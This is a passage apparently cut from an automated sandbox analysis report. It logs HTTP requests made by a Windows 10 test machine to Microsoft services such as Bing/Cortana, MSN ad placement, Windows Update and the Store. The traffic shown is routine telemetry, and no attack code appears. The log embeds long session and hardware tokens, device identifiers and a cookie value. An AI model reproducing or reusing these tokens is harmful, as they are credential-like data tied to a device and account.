t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAepQSC7V70RKQzUDYxdto5F7nJi/tejnzTXnUrt7Z276crIgxZtR0DXopKx3WjHyQs3H/nynMnLFEfSe96dIpYPKIx/zg33U9yT/NkzQwpHAwhbL00f4t7QNdXHCzZJ3rgUYgGAQ1sQ7WWGSVohAoyUO7craNRCAFpClxzJVKoGKOE/DeV1%2BpmxOwJhIf0vJCjJXTswK5DEWMJJlhUZEEgC8Fnwc6zyVoLxInuJf4N0fzeE0FvA/JhUFqZh88WqLTiBWe6ecxALO8FwDKkS73mCG3a%2Bl97ArxgXCuOFekeWEZ4JaY9uZMME4tojhTXMypWErcDdJju2FPsAO%2Bga/ij8DZgAACHrF8YGXrSYnqAGKRNjXIOPMMfI6EXR3p5CcSVvFQExmSxlluGOYvVEOIh87qTExO77czIYW6MRCBxlArhQWz2AureW457vbbCTAtGsWf9eywFy7eXmUTJq6jOp/bR88s73hi3kH8%2BgwYPbjCBPPvpC2kE1WKkCDuwqA5ThadthYQ84eGA1nQPbYQK4G5ywuwJhOy1xXG9ThSLbm0gL05txbl3CGVQIYkM1L5es132dHmQB9gzBm4TezED46gV3EG37pj1Wj0247sPZyEqjrPZ3cyCeqz3oBtUS3v9IQ1QQmDMfq35Pck3kDCdh79cThvDioO8//Bo4udc0/sLBbPXcjG8GvXFP3zwxWFsWdI0zTmQRl9kHUnnPoOb/RRp6MHOAQ51juABv8JeeUasGip9sSgXuGJVuUnjpKAuy6fdhTkAcCu5%2BWjrbRNGRnTXGHxe/9iLxHmulTYgiAfd/E2CPD03YrEBLxaQu6hptbhYr7KLW4xQxGRHUi2L5mvZ%2BEpUB3vXyCYJlfKqFHA1JJUtiikyXBe42zmgtuV54O1Fa/X5zdCXvUbpBsJXYaytAv6dQP1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658356973User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: 70A008FB74BB44DEA21BAF4D010A7506X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAepQSC7V70RKQzUDYxdto5F7nJi/tejnzTXnUrt7Z276crIgxZtR0DXopKx3WjHyQs3H/nynMnLFEfSe96dIpYPKIx/zg33U9yT/NkzQwpHAwhbL00f4t7QNdXHCzZJ3rgUYgGAQ1sQ7WWGSVohAoyUO7craNRCAFpClxzJVKoGKOE/DeV1%2BpmxOwJhIf0vJCjJXTswK5DEWMJJlhUZEEgC8Fnwc6zyVoLxInuJf4N0fzeE0FvA/JhUFqZh88WqLTiBWe6ecxALO8FwDKkS73mCG3a%2Bl97ArxgXCuOFekeWEZ4JaY9uZMME4tojhTXMypWErcDdJju2FPsAO%2Bga/ij8DZgAACHrF8YGXrSYnqAGKRNjXIOPMMfI6EXR3p5CcSVvFQExmSxlluGOYvVEOIh87qTExO77czIYW6MRCBxlArhQWz2AureW457vbbCTAtGsWf9eywFy7eXmUTJq6jOp/bR88s73hi3kH8%2BgwYPbjCBPPvpC2kE1WKkCDuwqA5ThadthYQ84eGA1nQPbYQK4G5ywuwJhOy1xXG9ThSLbm0gL05txbl3CGVQIYkM1L5es132dHmQB9gzBm4TezED46gV3EG37pj1Wj0247sPZyEqjrPZ3cyCeqz3oBtUS3v9IQ1QQmDMfq35Pck3kDCdh79cThvDioO8//Bo4udc0/sLBbPXcjG8GvXFP3zwxWFsWdI0zTmQRl9kHUnnPoOb/RRp6MHOAQ51juABv8JeeUasGip9sSgXuGJVuUnjpKAuy6fdhTkAcCu5%2BWjrbRNGRnTXGHxe/9iLxHmulTYgiAfd/E2CPD03YrEBLxaQu6hptbhYr7KLW4xQxGRHUi2L5mvZ%2BEpUB3vXyCYJlfKqFHA1JJUtiikyXBe42zmgtuV54O1Fa/X5zdCXvUbpBsJXYaytAv6dQP1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658356973User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: 70A008FB74BB44DEA21BAF4D010A7506X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224337Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d02af8f9ae2a4062a5f73dfd2b34d099&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-338389&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: MHl7punZlkWwHexF.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224338Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=237d31f427f64fcab273c9d352a8988f&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-280815&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: MHl7punZlkWwHexF.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224357Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d17bfb5e33954b64a49a8cae22e04bf0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-338387&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQ5X4V+iVB1y3B0mT32r6arZ/r5N7z5ViULgVV94nCfe3hb5cMylSNPrb0NJOUxTF4y9muV6l7RVpoOHLhKHPgWTitLGmCGcky0qXYurJZQFwByvNat0sRboG+UdCNWOREbcn4N4s+q33R9xq0wuecxzLKc/57dngP556aD8eXdVaMsdzo3HSKxYiJsFI+qtZtBLiG8OvX9pku5hKgxu2rZlNrrHHsgbBjsUJhI1Iw4ukceQjG7d/wvMBP/9pkqO7IzE1g+1Jw6CxhGcwVQRnrW021PV2hQgjR2KtHa3BQd8Qxl3hfY2yvqzx+D/TYskAuDbs3xbIQOU1ScKCBlXJFcDZgAACPHS8O4yqHwCqAEAoBOGEdpxcytzqynI+KQDV2/8wcyE46OICoVAWeCYCPACU5qJu3b4cB/ufiikbUKFlbsIwckzuKN/yq25tUgv0Q+aPBjPG6GzI53KhQYkvSyIIPobsMqCASJgtP2x23pe0bFQjxAS4OpuJQ8GbIWLvj9t3gqbajFFEd09+94kAW8lR8jjv0UsOlTscVmZdJuAbm8zuAud4OS9TSamEdQ5Hgh71k5OEUobQfX/B3R54RUCmWzIt9Qas+WEQckUk0Em8Jmiy3/UVseB+SnVgyyZQmi9IiZ/w3LqXqYWhlip5Js6jdxBEun4PV/4aUp0yLl7XsDX+yVNOPYq9f0Xz2qL1EisCzD2tOmvcbaJ21VSHHGBRHXhaL3lYlnoFkF4owcmzUFbXnPkOYYYGcs+Et6uYwvvWJoI3f2Tn6dr/VFKL4RrCxgjLk3HVRRDspVUXBFQqKuAopyS/1kwb3wGGyjnULckUjARE2KGtMW1LRN0kGCvZmZjJLGE8bvNeQzt7DCuliAdsVW1yWl6F0Zc7u6tZtUeEVDZcKLep13vPYe+vi+xpI/XW2+O1gE=&p=Cache-Control: no-cacheMS-CV: MHl7punZlkWwHexF.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224357Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=aa823973afe94f8286f7c63b37967d6e&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-338388&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQ5X4V+iVB1y3B0mT32r6arZ/r5N7z5ViULgVV94nCfe3hb5cMylSNPrb0NJOUxTF4y9muV6l7RVpoOHLhKHPgWTitLGmCGcky0qXYurJZQFwByvNat0sRboG+UdCNWOREbcn4N4s+q33R9xq0wuecxzLKc/57dngP556aD8eXdVaMsdzo3HSKxYiJsFI+qtZtBLiG8OvX9pku5hKgxu2rZlNrrHHsgbBjsUJhI1Iw4ukceQjG7d/wvMBP/9pkqO7IzE1g+1Jw6CxhGcwVQRnrW021PV2hQgjR2KtHa3BQd8Qxl3hfY2yvqzx+D/TYskAuDbs3xbIQOU1ScKCBlXJFcDZgAACPHS8O4yqHwCqAEAoBOGEdpxcytzqynI+KQDV2/8wcyE46OICoVAWeCYCPACU5qJu3b4cB/ufiikbUKFlbsIwckzuKN/yq25tUgv0Q+aPBjPG6GzI53KhQYkvSyIIPobsMqCASJgtP2x23pe0bFQjxAS4OpuJQ8GbIWLvj9t3gqbajFFEd09+94kAW8lR8jjv0UsOlTscVmZdJuAbm8zuAud4OS9TSamEdQ5Hgh71k5OEUobQfX/B3R54RUCmWzIt9Qas+WEQckUk0Em8Jmiy3/UVseB+SnVgyyZQmi9IiZ/w3LqXqYWhlip5Js6jdxBEun4PV/4aUp0yLl7XsDX+yVNOPYq9f0Xz2qL1EisCzD2tOmvcbaJ21VSHHGBRHXhaL3lYlnoFkF4owcmzUFbXnPkOYYYGcs+Et6uYwvvWJoI3f2Tn6dr/VFKL4RrCxgjLk3HVRRDspVUXBFQqKuAopyS/1kwb3wGGyjnULckUjARE2KGtMW1LRN0kGCvZmZjJLGE8bvNeQzt7DCuliAdsVW1yWl6F0Zc7u6tZtUeEVDZcKLep13vPYe+vi+xpI/XW2+O1gE=&p=Cache-Control: no-cacheMS-CV: MHl7punZlkWwHexF.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Fw5W?ver=8f07 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4FdpG?ver=453b HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE50CFn?ver=3ce5 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE50xrB?ver=6d99 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224436Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8b1cc07ce2aa44e6ad4ea7c1581598b6&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-310091&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQ5X4V+iVB1y3B0mT32r6arZ/r5N7z5ViULgVV94nCfe3hb5cMylSNPrb0NJOUxTF4y9muV6l7RVpoOHLhKHPgWTitLGmCGcky0qXYurJZQFwByvNat0sRboG+UdCNWOREbcn4N4s+q33R9xq0wuecxzLKc/57dngP556aD8eXdVaMsdzo3HSKxYiJsFI+qtZtBLiG8OvX9pku5hKgxu2rZlNrrHHsgbBjsUJhI1Iw4ukceQjG7d/wvMBP/9pkqO7IzE1g+1Jw6CxhGcwVQRnrW021PV2hQgjR2KtHa3BQd8Qxl3hfY2yvqzx+D/TYskAuDbs3xbIQOU1ScKCBlXJFcDZgAACPHS8O4yqHwCqAEAoBOGEdpxcytzqynI+KQDV2/8wcyE46OICoVAWeCYCPACU5qJu3b4cB/ufiikbUKFlbsIwckzuKN/yq25tUgv0Q+aPBjPG6GzI53KhQYkvSyIIPobsMqCASJgtP2x23pe0bFQjxAS4OpuJQ8GbIWLvj9t3gqbajFFEd09+94kAW8lR8jjv0UsOlTscVmZdJuAbm8zuAud4OS9TSamEdQ5Hgh71k5OEUobQfX/B3R54RUCmWzIt9Qas+WEQckUk0Em8Jmiy3/UVseB+SnVgyyZQmi9IiZ/w3LqXqYWhlip5Js6jdxBEun4PV/4aUp0yLl7XsDX+yVNOPYq9f0Xz2qL1EisCzD2tOmvcbaJ21VSHHGBRHXhaL3lYlnoFkF4owcmzUFbXnPkOYYYGcs+Et6uYwvvWJoI3f2Tn6dr/VFKL4RrCxgjLk3HVRRDspVUXBFQqKuAopyS/1kwb3wGGyjnULckUjARE2KGtMW1LRN0kGCvZmZjJLGE8bvNeQzt7DCuliAdsVW1yWl6F0Zc7u6tZtUeEVDZcKLep13vPYe+vi+xpI/XW2+O1gE=&p=Cache-Control: no-cacheMS-CV: LaWPJ5j/d0OBKw+q.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224357Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224359Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224400Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224402Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224408Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224411Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224413Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
